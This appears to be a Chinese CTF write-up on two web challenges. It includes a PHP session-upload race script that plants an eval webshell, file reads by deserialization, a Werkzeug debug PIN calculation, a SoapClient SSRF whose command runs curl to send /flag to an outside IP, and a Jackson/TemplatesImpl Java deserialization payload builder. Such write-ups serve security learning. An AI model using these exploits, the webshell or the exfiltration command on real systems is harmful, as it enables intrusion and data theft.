https://xz.aliyun.com/t/2553#toc-2

ppy
传 session,条件竞争才能跑出来。
直接网上搜一个双线程改一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import threading

import requests
# import io
# import threading

url = "http://192.168.229.132/include.php"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php $f = fopen('3.php','w');fwrite($f,'<?php $cmd = 123;eval($_POST[$cmd]);?>');?>"}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()


def read():
while True:
r = session.post(url, data=data, files=files, cookies=cookies)
print(r.text)


def write():
while True:
new_url = url + "?file=" + "../Extensions/tmp/tmp/sess_" + xiao
r1 = session.get(new_url)
if "upload_progress_" in r.text:
print("上传成功")
break


if __name__ == "__main__":
t1 = threading.Thread(target=read)
t2 = threading.Thread(target=write)
t1.start()
t2.start()

此后只用在 read 改 data 即可,files 和 PHP_SESSION_UPLOAD_PROGRESS 别动。
先读个源码,返回个 html 代码,放入文件显示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";

?>

只需要传入 data 数组就可以实现 type 和 properties 的变量覆盖了。
找 flag

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$data = array(
'type' => 'GlobIterator',
'properties' => array("/*flag*","1"
)
);
$serialized_data = serialize($data);
$a=unserialize($serialized_data);
var_dump($a);
echo $serialized_data;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import threading

import requests

# import io
# import threading

url = "http://115.239.215.75:8081/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "22","data":'a:2:{s:4:"type";s:12:"GlobIterator";s:10:"properties";a:2:{i:0;s:7:"/*flag*";i:1;s:1:"1";}}'}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()


def read():
while True:
res = session.post(url, data=data,files=files, cookies=cookies)
print(res.text)



def write():
while True:
new_url = url + "?file=" + "../Extensions/tmp/tmp/sess_" + xiao
r = session.get(new_url)
if "upload_progress_" in r.text:
print(r.text)
break


if __name__ == "__main__":
t1 = threading.Thread(target=read)
t2 = threading.Thread(target=write)
t1.start()
t2.start()

flag 在 /flag
提示 app.py

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$data = array(
'type' => 'GlobIterator',
'properties' => array("/usr/lib/python3.8/site-packages/flask/app*","0"
)
);
$serialized_data = serialize($data);
$a=unserialize($serialized_data);
var_dump($a);
echo $serialized_data;

拿源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$data = array(
'type' => 'SplFileObject',
'properties' => array("php://filter/convert.base64-encode/resource=/usr/lib/python3.8/site-packages/flask/app.py","r"
)
);
$serialized_data = serialize($data);
$a=unserialize($serialized_data);
var_dump($a);
echo $serialized_data;

2000 行代码,恐怖如斯。

算 pin 码

werkzurg/debug/init.py
听师傅说这道题有算 pin 码的操作,趁着这个机会,把算 pin 先学一下。
简而言之,就是 flask 开启了 debug 模式,会生成一个密码,使用这个密码就能任意代码执行了。
而这个生成 pin 码也有个流程,可以在 pycahrm 的源码分析。

1
2
3
4
5
def pin(self) -> t.Optional[str]:
if not hasattr(self, "_pin"):
pin_cookie = get_pin_and_cookie_name(self.app)
self._pin, self._pin_cookie = pin_cookie # type: ignore
return self._pin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

rv 就是 pin 码
重点看

1
2
3
4
5
6
7
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

引入了两张表

1
2
3
4
5
6
7
8
9
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]


private_bits = [str(uuid.getnode()), get_machine_id()]

结合 debug 的变量信息做分析
username 就是启动 flask 的用户。
modnane 一般为 flask.app
getattr(app, ‘name’, getattr(app.class, ‘name’)) 为 Flask.
getattr(mod, ‘file’, None) 为 flask 目录下的一个 app.py 的绝对路径.
uuid.getnode () 就是当前电脑的 MAC 地址,str (uuid.getnode ()) 则是 mac 地址的十进制表达式。
getmachine_id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg

try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid
except OSError:
pass

return None

_machine_id = _generate()
return _machine_id

会读 etc/machine 或 /proc/sys/kernel/random/boot_i 的值,然后还会读 /proc/self/cgroup 里面的内容。二者进行一个拼接。

ctfshow801

通过读各种文件:

1
2
3
4
5
6
7
8
9
10







/usr/local/lib/python3.8/site-packages/flask/app.py
2485377569947
26657bfd-2d70-45fa-97b3-99462feda8931a000beba489f5f923a435f4066ef2d5c61bc5f772d82f2f4e2905e2bf62a346
1
2
986-811-716
__wzd572dec175b8e0289b637

回到题目

开始撸信息。
读 etc/passwd, 一般用户信息都会存储在这里
/etc/shadow: 这个文件存储了用户的加密密码和密码相关的信息,如密码哈希值、密码过期时间、账户锁定状态等。由于包含敏感信息,通常只有特权用户(如 root)才能读取和修改该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
catchlog:x:100:101:catchlog:/:/bin/false
apache:x:1000:1000::/srv/www:/bin/bash
app:x:1001:1001::/home/app:/bin/ash

读 /sys/class/net/eth0/address

1
2
02:42:ac:13:00:02
2485378023426

转个十六进制。
读 /proc/self/cgroup

1
2
3
4
5
6
7
8
9
10
11
12
13
12:devices:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
11:net_cls,net_prio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
10:rdma:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
9:memory:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
8:freezer:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
7:cpu,cpuacct:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
6:hugetlb:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
5:perf_event:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
4:blkio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
3:cpuset:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
2:pids:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
1:name=systemd:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
0::/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687

读 /proc/sys/kernel/random/boot_id

1
349b3354-f67f-4438-b395-4fbc01171fdd

最终得到如下配置:

1
2
3
4
5
6
7
8
9
10
11
probably_public_bits = [
"app",#/etc/passwd
"flask.app",#默认
"Flask",#默认
'/usr/lib/python3.8/site-packages/flask/app.py' ,#一个路径信息
]

private_bits = [
"2485378023426", #/sys/class/net/eth0/address 十六进制转十进制
"349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687"
]#读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接而成

再将源码部分改动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import hashlib
from itertools import chain

probably_public_bits = [
"app",#/etc/passwd
"flask.app",#默认
"Flask",#默认
'/usr/lib/python3.8/site-packages/flask/app.py' ,#一个路径信息
]

private_bits = [
"2485378023426", #/sys/class/net/eth0/address 十六进制转十进制
"349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687"
]#读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接而成
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)
print(cookie_name)

1
2
121-260-582
__wzdb2a60e2b19822632a67c

拿到以后,就可以打一个 soapclient 原生类的 ssrf 了。

1
2
3
4
5
<?php
$a=new SoapClient(null,array('location' => "http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%27os%27).popen(%27curl%2043.143.192.19%3A1145%20-T%20/flag%27)&frm=0&s=DhOJxtvMXCtezvKtqaK9",'user_agent'=>"shanghe\r\n". "Cookie: __wzdb2a60e2b19822632a67c=1687115222|11b8517fb9fb\r\n",'uri' => "http://127.0.0.1:5000"));
$b=array("type"=>"awd","properties"=>urlencode(serialize($a)));
echo (serialize($b));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import threading

import requests

# import io
# import threading

url = "http://115.239.215.75:8081/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "22","data":'a:2:{s:4:"type";s:3:"awd";s:10:"properties";s:567:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A5000%22%3Bs%3A8%3A%22location%22%3Bs%3A155%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%2527os%2527%29.popen%28%2527curl%252043.143.192.19%253A1145%2520-T%2520%2Fflag%2527%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A68%3A%22shanghe%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687115222%7C11b8517fb9fb%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}'}
xiao = "xiao"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': xiao}
session = requests.session()


def read():
while True:
res = session.post(url, data=data,files=files, cookies=cookies)
print(res.text)



def write():
while True:
new_url = url + "?file=" + "../Extensions/tmp/tmp/sess_" + xiao
r = session.get(new_url)
if "upload_progress_" in r.text:
print(r.text)
break


if __name__ == "__main__":
t1 = threading.Thread(target=read)
t2 = threading.Thread(target=write)
t1.start()
t2.start()

cookie 值的获取:
在源码改

1
2
3
4
5
6
7
8
9
10
11
Myprobably_public_bits=[
"app",#/etc/passwd
"flask.app",#默认
"Flask",#默认
'/usr/lib/python3.8/site-packages/flask/app.py' ,#一个路径信息
]
Myprivate_bits= [
"2485378023426", #/sys/class/net/eth0/address 十六进制转十进制
"349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687"
]
for bit in chain(Myprobably_public_bits, Myprivate_bits):

本地开启

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return 'hello world!'

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5555, debug=True)

再访问 console,输入对应的 pin, 拿到 cookie。

1
find / -perm -u=s -type f 2>/dev/null

提权
至于 secret,题目给了个 file_get_contents。
直接读取 console 会给 secret。
至此所有内容就完毕了。

总结

这题目基本上完全涉及我的盲区,复现出来花了很多时间。不过学到了很多东西。

hellojava

https://xz.aliyun.com/t/12509

参考这篇文章,先梳理一下链子。

熟悉 jackson

在 jackson 中将对象序列化成一个 json 串主要是使用的 ObjectMapper#writeValueAsString 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String writeValueAsString(Object value) throws JsonProcessingException {
SegmentedStringWriter sw = new SegmentedStringWriter(this._jsonFactory._getBufferRecycler());

try {
this._writeValueAndClose(this.createGenerator((Writer)sw), value);
} catch (JsonProcessingException var4) {
throw var4;
} catch (IOException var5) {
throw JsonMappingException.fromUnexpectedIOE(var5);
}

return sw.getAndClear();
}

在调用这个方法的过程中会调用 getter 方法,这可太好了,getoutproperties 是我们想要的恶意方法。

借用一下师傅的调用栈

1
2
3
4
5
6
7
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

几个关键方法:
defaultserializervalue:serializeValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void serializeValue(JsonGenerator gen, Object value) throws IOException
{
_generator = gen;
if (value == null) {
_serializeNull(gen);
return;
}
final Class<?> cls = value.getClass();
// true, since we do want to cache root-level typed serializers (ditto for null property)
final JsonSerializer<Object> ser = findTypedValueSerializer(cls, true, null);
PropertyName rootName = _config.getFullRootName();
if (rootName == null) { // not explicitly specified
if (_config.isEnabled(SerializationFeature.WRAP_ROOT_VALUE)) {
_serialize(gen, value, ser, _config.findRootName(cls));
return;
}
} else if (!rootName.isEmpty()) {
_serialize(gen, value, ser, rootName);
return;
}
_serialize(gen, value, ser);
}

这里调用一个 findTypedValueSerializer,根据传入的类,找到对应的 serializer,这里传入了一个 POJO 对象,所以会调用 beanserializer。

回到题目

打一个 tostring 链,
看 BadAttributeValueExpException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

toString 方法,这里要调用 basejsonnode 的这个方法,给其赋值。
反射修改

1
2
3
4
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

跟进 toString

1
2
3
public String toString() {
return InternalNodeMapper.nodeToString(this);
}
1
2
3
4
5
6
7
public static String nodeToString(JsonNode n) {
try {
return STD_WRITER.writeValueAsString(n);
} catch (IOException e) { // should never occur
throw new RuntimeException(e);
}
}

关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String writeValueAsString(Object value)
throws JsonProcessingException
{
// alas, we have to pull the recycler directly here...
SegmentedStringWriter sw = new SegmentedStringWriter(_generatorFactory._getBufferRecycler());
try {
_writeValueAndClose(createGenerator(sw), value);
} catch (JsonProcessingException e) {
throw e;
} catch (IOException e) { // shouldn't really happen, but is declared as possibility so:
throw JsonMappingException.fromUnexpectedIOE(e);
}
return sw.getAndClear();
}

跟进_writeValueAndClose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected final void _writeValueAndClose(JsonGenerator gen, Object value) throws IOException
{
if (_config.isEnabled(SerializationFeature.CLOSE_CLOSEABLE) && (value instanceof Closeable)) {
_writeCloseable(gen, value);
return;
}
try {
_prefetch.serialize(gen, value, _serializerProvider());
} catch (Exception e) {
ClassUtil.closeOnFailAndThrowAsIOE(gen, e);
return;
}
gen.close();
}

一路跟进 serialize,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void serializeValue(JsonGenerator gen, Object value) throws IOException
{
_generator = gen;
if (value == null) {
_serializeNull(gen);
return;
}
final Class<?> cls = value.getClass();
// true, since we do want to cache root-level typed serializers (ditto for null property)
final JsonSerializer<Object> ser = findTypedValueSerializer(cls, true, null);
PropertyName rootName = _config.getFullRootName();
if (rootName == null) { // not explicitly specified
if (_config.isEnabled(SerializationFeature.WRAP_ROOT_VALUE)) {
_serialize(gen, value, ser, _config.findRootName(cls));
return;
}
} else if (!rootName.isEmpty()) {
_serialize(gen, value, ser, rootName);
return;
}
_serialize(gen, value, ser);
}

最后调用个_serialize,再一路跟进去

1
2
3
4
5
6
7
8
9
10
11
12
public final void serialize(JsonGenerator gen, SerializerProvider ctxt) throws IOException
{
if (_value == null) {
ctxt.defaultSerializeNull(gen);
} else if (_value instanceof JsonSerializable) {
((JsonSerializable) _value).serialize(gen, ctxt);
} else {
// 25-May-2018, tatu: [databind#1991] do not call via generator but through context;
// this to preserve contextual information
ctxt.defaultSerializeValue(_value, gen);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final void serialize(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
if (_objectIdWriter != null) {
gen.setCurrentValue(bean); // [databind#631]
_serializeWithObjectId(bean, gen, provider, true);
return;
}
gen.writeStartObject(bean);
if (_propertyFilterId != null) {
serializeFieldsFiltered(bean, gen, provider);
} else {
serializeFields(bean, gen, provider);
}
gen.writeEndObject();
}

这里就是到了 beanserializer 了,再跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
final BeanPropertyWriter[] props;
if (_filteredProps != null && provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception e) {
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} catch (StackOverflowError e) {
// 04-Sep-2009, tatu: Dealing with this is tricky, since we don't have many
// stack frames to spare... just one or two; can't make many calls.

// 10-Dec-2015, tatu: and due to above, avoid "from" method, call ctor directly:
//JsonMappingException mapE = JsonMappingException.from(gen, "Infinite recursion (StackOverflowError)", e);
DatabindException mapE = new JsonMappingException(gen, "Infinite recursion (StackOverflowError)", e);

String name = (i == props.length) ? "[anySetter]" : props[i].getName();
mapE.prependPath(bean, name);
throw mapE;
}
}
1
2
3
4
5
6
7
8
public void serializeAsField(Object bean, JsonGenerator gen,
SerializerProvider prov) throws Exception {
// inlined 'get()'
final Object value = (_accessorMethod == null) ? _field.get(bean)
: _accessorMethod.invoke(bean, (Object[]) null);



这有个反射触发 invoke 方法。
来到了

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

之后就是打一个字节加载恶意类了。
payload 如下构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;


public class exp {
public static void main(String[] args)throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(evilref.class.getName());

// CtClass superClass = classPool.get(AbstractTranslet.class.getName());
// ctClass.setSuperclass(superClass);
//
// CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
//
// ctClass.addConstructor(constructor);

byte[] code = ctClass.toBytecode();
//byte[][] codes = new byte[][]{code};
TemplatesImpl templates = new TemplatesImpl();

ref(templates, "_bytecodes", new byte[][]{code});
ref(templates, "_name", "shanghe");
ref(templates, "_tfactory", new TransformerFactoryImpl());

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

serialize_func.serialize(exp);
WriteToFileExample(serialize_func.encryptToBase64("ser.bin"));














}

public static void WriteToFileExample(String args) {
String content = "这是要写入文件的字符串内容";

try {
BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
writer.write(args);
writer.close();
System.out.println("字符串已成功写入文件。");
} catch (IOException e) {
System.out.println("写入文件时发生错误:" + e.getMessage());
}
}
public static void ref(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {

Field reffield = obj.getClass().getDeclaredField(field);
reffield.setAccessible(true);
reffield.set(obj,value);

}
public static String serial(Object o) throws IOException, NoSuchFieldException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

看一下路由,他这个 param 参数是直接获取 body 的,不带键。
hackbar 搞不定,用 python 浅浅发送一下

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests


url = "http://127.0.0.1:2222/Hello/eyIiOnRydWUsImJhc2U2NENvZGUiOiJBQUFBQUFBQSJ9"

